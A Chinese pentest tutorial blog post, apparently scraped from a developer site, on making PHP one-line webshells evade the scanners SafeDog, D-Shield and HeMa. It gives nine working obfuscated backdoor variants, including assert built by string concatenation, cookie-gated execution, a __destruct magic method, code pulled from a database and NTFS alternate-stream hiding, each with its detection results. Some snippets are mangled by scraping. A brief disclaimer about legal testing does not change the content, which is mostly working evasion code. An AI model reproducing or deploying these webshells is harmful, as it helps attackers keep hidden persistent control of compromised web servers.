热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

渗透测试基础bypass绕过阻挡我们的WAF(下)

渗透测试基础-bypass

渗透测试基础 - bypass-绕过阻挡我们的WAF(下)

    • 简介
    • 前期测试原理
    • 方法一 (end函数)
    • 方法二 (定义常量)
    • 方法三 (字符串拼接 + 双美元符)
    • 方法四 (强行分割)
    • 方法五 (魔术方法执行)
    • 方法六 (COOKIE传参加入条件)
    • 方法七 (get_defined_functions)
    • 方法八 (远程获取)
    • 方法九 (CMD藏文件之NTFS文件流)
    • 漏洞总结

只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力?!

请进行合法的渗透测试,有关内容只是用作个人复习。

简介

上次介绍了如何绕过安全狗的测试语句检测,这次将介绍,在得到webshell权限后,如何让自己的木马文件不会被发现并删除。以webshell查杀来说,安全狗确实差了点意思,稍微对语句做一点变动,安全狗就不能有效的识别,所以这里会在多加入两个webshell检测工具,进行同步测试。【在正常的渗透测试中,是不需要做到让咱们的木马达到不被发现并删除的情况,所以我们这里还是以学习为主,当安全工具检测到恶意文件并无法确定是不是木马文件时,这就需要我们来进行评判了

三个webshell查杀工具下载地址:
【安全狗】:http://free.safedog.cn/website_safedog.html
【D盾】:http://www.d99net.net/News.asp?id=62
【河马】:https://www.shellpub.com

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

前期测试原理

在这里插入图片描述
在网站目录下留下一个较为常见的一句话木马文件,然后和网站安全狗配合测试。
在这里插入图片描述
安全狗一下就找到了它的存在,那这样是不行的,总不能刚刚放了一个文件进去就被发现了吧,那可太拉跨了,所以我们得对其进行一下测试,看看安全狗到底是因为什么而发现的它。

在这里插入图片描述
在这里插入图片描述
在删除了$_REQUEST后面的中括号之后,发现安全狗好像没有认为其是木马文件了,所以这里是对中括号进行了拦截嘛?在测试一下前面的eval试试。
在这里插入图片描述
在这里插入图片描述

发现这样也是不拦截的,所以我们能不能采用替换的方法先试试呢?
eval是可以被assert所代替的,这个下面有例子能讲解。
那中括号呢有没有办法让其既不出现,但是这个文件又能达到木马的作用呢?

方法一 (end函数)

eval(end($_REQUEST));?>

在这里插入图片描述
根据了解知道 函数end()就是输出数组中最后一个值的,那这里的$_REQUEST刚刚好接收到的数据就是数组的形式。
在这里插入图片描述

eval(end($_REQUEST));?>

所以这里end来获取$_REQUEST的值,然后再次给eval执行,既不用写刚刚的中括号,又让其能执行,这里来测试一下。
在这里插入图片描述
这里测试使用是没有问题的 拿到安全狗检测一下。
在这里插入图片描述
安全狗说自己没有发现,那这样就逃过了安全狗的检测。能过安全狗还不行,咱们再试试D盾和河马。
在这里插入图片描述
在这里插入图片描述

能看到河马也没有查出来,只有D盾能检测到。

方法二 (定义常量)

define("a","$_REQUEST[a]");eval(a);?>

在这里插入图片描述
定义常量 define常量的名字常量的值),a的值,就是$_REQUEST[a]接收到的值,然后在后面eval执行。

在这里插入图片描述
执行没问题,三个软件检查一下。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
安全狗(
河马(
D盾(检查到威胁4级【1-5级,5级紧急】

方法三 (字符串拼接 + 双美元符)


$a = 'ass';
$b = 'ert';
$funcName = $a.$b;
$x = 'funcName';
$$x($_REQUEST[a]);
?>

这里就将eval替换为了assert,因为eval禁止拼接执行,所以这里只有assert才能这么玩

assert拆开了,分别赋值给 $a 和 $b ,然后下面将其拼接回来,并将assert字符串值赋值给了$funcName,然后$x = 字符串的funcName,下面是双美元符号,因为$x == funName$funcName == assert 所以最后的结果就是assert($_REQUEST[a])
在这里插入图片描述

正常使用,还是用webshell工具查杀一下
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
安全狗()【安全狗这小子,成绩一直很稳定】
河马(检测到威胁
D盾(检查到威胁3级相比于刚才降低了一级

方法四 (强行分割)


function a($a){
return $a;
}
eval(a($_REQUEST)[a]);
?>

这里自定义一个叫a的函数,括号里面放入$a,下面是return 返回$a的值,这里就是,往$a里面传什么进去,就会返回什么回来。eval执行(函数a想要将$_REQUEST传入进去,然后返回回来一个$_REQUEST,然后就形成了eval($_REQUEST['a']))

在这里插入图片描述
正常使用,webshell工具检测一下
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
安全狗(
河马(
D盾(检查到威胁5级)【D盾这小子打小就聪明】

方法五 (魔术方法执行)


class User{
public $name = '';
function __destruct(){
eval("$this->name");
}
}
$user = new User;
$user->name = ''.$_REQUEST['a'];
?>

  1. 定义一个叫User的类
  2. 声明一个name公有变量 但是没有给其赋值
  3. 定义一个魔术方法,__destruct()的意思是当对象被销毁时执行【一定会执行的,因为一定会销毁】
    在这里插入图片描述
  4. 销毁时执行eval("$this->name");这里也是还没有跟name赋值
  5. User类实体化
  6. 将得到的值放入name中,然后放到上面的eval执行。
    在这里插入图片描述
    正常使用,webshell工具查杀一下

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
安全狗(
河马(
D盾(检查到威胁5级)【该买谁 现在知道了吧】

方法六 (COOKIE传参加入条件)


$COOKIE = $_COOKIE;
foreach( $COOKIE as $key => $value)
{
if($key=='assert'){
$key($_REQUEST['a']);
}
}
?>

先获取COOKIE值,将COOKIE的值放入$COOKIE中,因为COOKIE获取到的值是数组形式,所以这里用foreach进行结果遍历,将结果和值,分别放入$key$value 中【键值分离】。然后if条件判断,当COOKIE中键等于assert时,拿着$key去执行$_REQUEST传入过来值。

在这里插入图片描述

COOKIE不传入assert 是不能正常执行的
继续测试查杀软件的成绩
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

安全狗(
河马(检测到威胁
D盾(检查到威胁2级

方法七 (get_defined_functions)


$a = get_defined_functions();
$a[internal][841]($_REQUEST['a']);
?>

这里开局就遇到一个不认识的东西,我们看看是啥
在这里插入图片描述
在这里插入图片描述
那前面的数字是什么意思呢,输出一下看看。
在这里插入图片描述
那这样就好理解了,get_defined_functions()将得到的数据全部放入$a中,然后用$a[internal][841]去检索里面的值,将assert给取出来,和后面的($_REQUEST['a'])相结合使用。【不得不说,想出这个的老哥还是秀的呀】
在这里插入图片描述
查杀软件的成绩
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
安全狗()【专业陪跑】
河马(
D盾(检查到威胁2级)【全靠友商衬托 哈哈】

方法八 (远程获取)


'''
eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('
127.0.0.1','root','root','mysql_database','post'),'select * from jinx'))['info'])
'
''
?>

这里有三个函数,一个个了解一下
mysqli_fetch_assoc:就是从结果里面取一行数据
在这里插入图片描述

mysqli_query:这个一下连下面那个的意思也解释了,第一个做链接,第二个是查询
在这里插入图片描述

mysqli_connect:链接数据库

那这样就好解释了
执行(取一行数据(查点数据(链接数据库,取出表jinx里面的所有数据))【查询的条件:info字段】)
在这里插入图片描述
在配上这样一个图,就大功告成。
也测试一下。
在这里插入图片描述
webshell查杀一下。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
安全狗(检测出威胁)【ohhhhhhhhhh】
河马()【小丑竟是我自己】
D盾(检查到威胁5级)【基操勿6】

方法九 (CMD藏文件之NTFS文件流)

【网站目录下存放文件】
【网站目录下打开CMD】 echo "" >> /:123.txt

在这里插入图片描述
在这里插入图片描述
执行完了之后好像什么都没有发生,但其实已经完成了。
在这里插入图片描述
最后再来看看测试结果。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
安全狗(
河马(
D盾(

在这里插入图片描述

漏洞总结

本次介绍的这些方法都还算比较实用的,如果在现实中有遇到安全软件吃不准的情况下,个人就可以做一下判断,来确定是不是木马文件。

《最好的防御,是明白其怎么实施的攻击》


推荐阅读
  • 如何查询zone下的表的信息
    本文介绍了如何通过TcaplusDB知识库查询zone下的表的信息。包括请求地址、GET请求参数说明、返回参数说明等内容。通过curl方法发起请求,并提供了请求示例。 ... [详细]
  • 海马s5近光灯能否直接更换为H7?
    本文主要介绍了海马s5车型的近光灯是否可以直接更换为H7灯泡,并提供了完整的教程下载地址。此外,还详细讲解了DSP功能函数中的数据拷贝、数据填充和浮点数转换为定点数的相关内容。 ... [详细]
  • 本文介绍了一种轻巧方便的工具——集算器,通过使用集算器可以将文本日志变成结构化数据,然后可以使用SQL式查询。集算器利用集算语言的优点,将日志内容结构化为数据表结构,SPL支持直接对结构化的文件进行SQL查询,不再需要安装配置第三方数据库软件。本文还详细介绍了具体的实施过程。 ... [详细]
  • 如何实现JDK版本的切换功能,解决开发环境冲突问题
    本文介绍了在开发过程中遇到JDK版本冲突的情况,以及如何通过修改环境变量实现JDK版本的切换功能,解决开发环境冲突的问题。通过合理的切换环境,可以更好地进行项目开发。同时,提醒读者注意不仅限于1.7和1.8版本的转换,还要适应不同项目和个人开发习惯的需求。 ... [详细]
  • Monkey《大话移动——Android与iOS应用测试指南》的预购信息发布啦!
    Monkey《大话移动——Android与iOS应用测试指南》的预购信息已经发布,可以在京东和当当网进行预购。感谢几位大牛给出的书评,并呼吁大家的支持。明天京东的链接也将发布。 ... [详细]
  • 云原生边缘计算之KubeEdge简介及功能特点
    本文介绍了云原生边缘计算中的KubeEdge系统,该系统是一个开源系统,用于将容器化应用程序编排功能扩展到Edge的主机。它基于Kubernetes构建,并为网络应用程序提供基础架构支持。同时,KubeEdge具有离线模式、基于Kubernetes的节点、群集、应用程序和设备管理、资源优化等特点。此外,KubeEdge还支持跨平台工作,在私有、公共和混合云中都可以运行。同时,KubeEdge还提供数据管理和数据分析管道引擎的支持。最后,本文还介绍了KubeEdge系统生成证书的方法。 ... [详细]
  • 如何去除Win7快捷方式的箭头
    本文介绍了如何去除Win7快捷方式的箭头的方法,通过生成一个透明的ico图标并将其命名为Empty.ico,将图标复制到windows目录下,并导入注册表,即可去除箭头。这样做可以改善默认快捷方式的外观,提升桌面整洁度。 ... [详细]
  • 如何使用Java获取服务器硬件信息和磁盘负载率
    本文介绍了使用Java编程语言获取服务器硬件信息和磁盘负载率的方法。首先在远程服务器上搭建一个支持服务端语言的HTTP服务,并获取服务器的磁盘信息,并将结果输出。然后在本地使用JS编写一个AJAX脚本,远程请求服务端的程序,得到结果并展示给用户。其中还介绍了如何提取硬盘序列号的方法。 ... [详细]
  • Voicewo在线语音识别转换jQuery插件的特点和示例
    本文介绍了一款名为Voicewo的在线语音识别转换jQuery插件,该插件具有快速、架构、风格、扩展和兼容等特点,适合在互联网应用中使用。同时还提供了一个快速示例供开发人员参考。 ... [详细]
  • C# 7.0 新特性:基于Tuple的“多”返回值方法
    本文介绍了C# 7.0中基于Tuple的“多”返回值方法的使用。通过对C# 6.0及更早版本的做法进行回顾,提出了问题:如何使一个方法可返回多个返回值。然后详细介绍了C# 7.0中使用Tuple的写法,并给出了示例代码。最后,总结了该新特性的优点。 ... [详细]
  • 【shell】网络处理:判断IP是否在网段、两个ip是否同网段、IP地址范围、网段包含关系
    本文介绍了使用shell脚本判断IP是否在同一网段、判断IP地址是否在某个范围内、计算IP地址范围、判断网段之间的包含关系的方法和原理。通过对IP和掩码进行与计算,可以判断两个IP是否在同一网段。同时,还提供了一段用于验证IP地址的正则表达式和判断特殊IP地址的方法。 ... [详细]
  • 本文主要复习了数据库的一些知识点,包括环境变量设置、表之间的引用关系等。同时介绍了一些常用的数据库命令及其使用方法,如创建数据库、查看已存在的数据库、切换数据库、创建表等操作。通过本文的学习,可以加深对数据库的理解和应用能力。 ... [详细]
  • 本文介绍了在Windows系统下安装Python、setuptools、pip和virtualenv的步骤,以及安装过程中需要注意的事项。详细介绍了Python2.7.4和Python3.3.2的安装路径,以及如何使用easy_install安装setuptools。同时提醒用户在安装完setuptools后,需要继续安装pip,并注意不要将Python的目录添加到系统的环境变量中。最后,还介绍了通过下载ez_setup.py来安装setuptools的方法。 ... [详细]
  • 本文介绍了在满足特定条件时如何在输入字段中使用默认值的方法和相应的代码。当输入字段填充100或更多的金额时,使用50作为默认值;当输入字段填充有-20或更多(负数)时,使用-10作为默认值。文章还提供了相关的JavaScript和Jquery代码,用于动态地根据条件使用默认值。 ... [详细]
  • 使用C++编写程序实现增加或删除桌面的右键列表项
    本文介绍了使用C++编写程序实现增加或删除桌面的右键列表项的方法。首先通过操作注册表来实现增加或删除右键列表项的目的,然后使用管理注册表的函数来编写程序。文章详细介绍了使用的五种函数:RegCreateKey、RegSetValueEx、RegOpenKeyEx、RegDeleteKey和RegCloseKey,并给出了增加一项的函数写法。通过本文的方法,可以方便地自定义桌面的右键列表项。 ... [详细]
author-avatar
禅茶一味2502922807_527
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有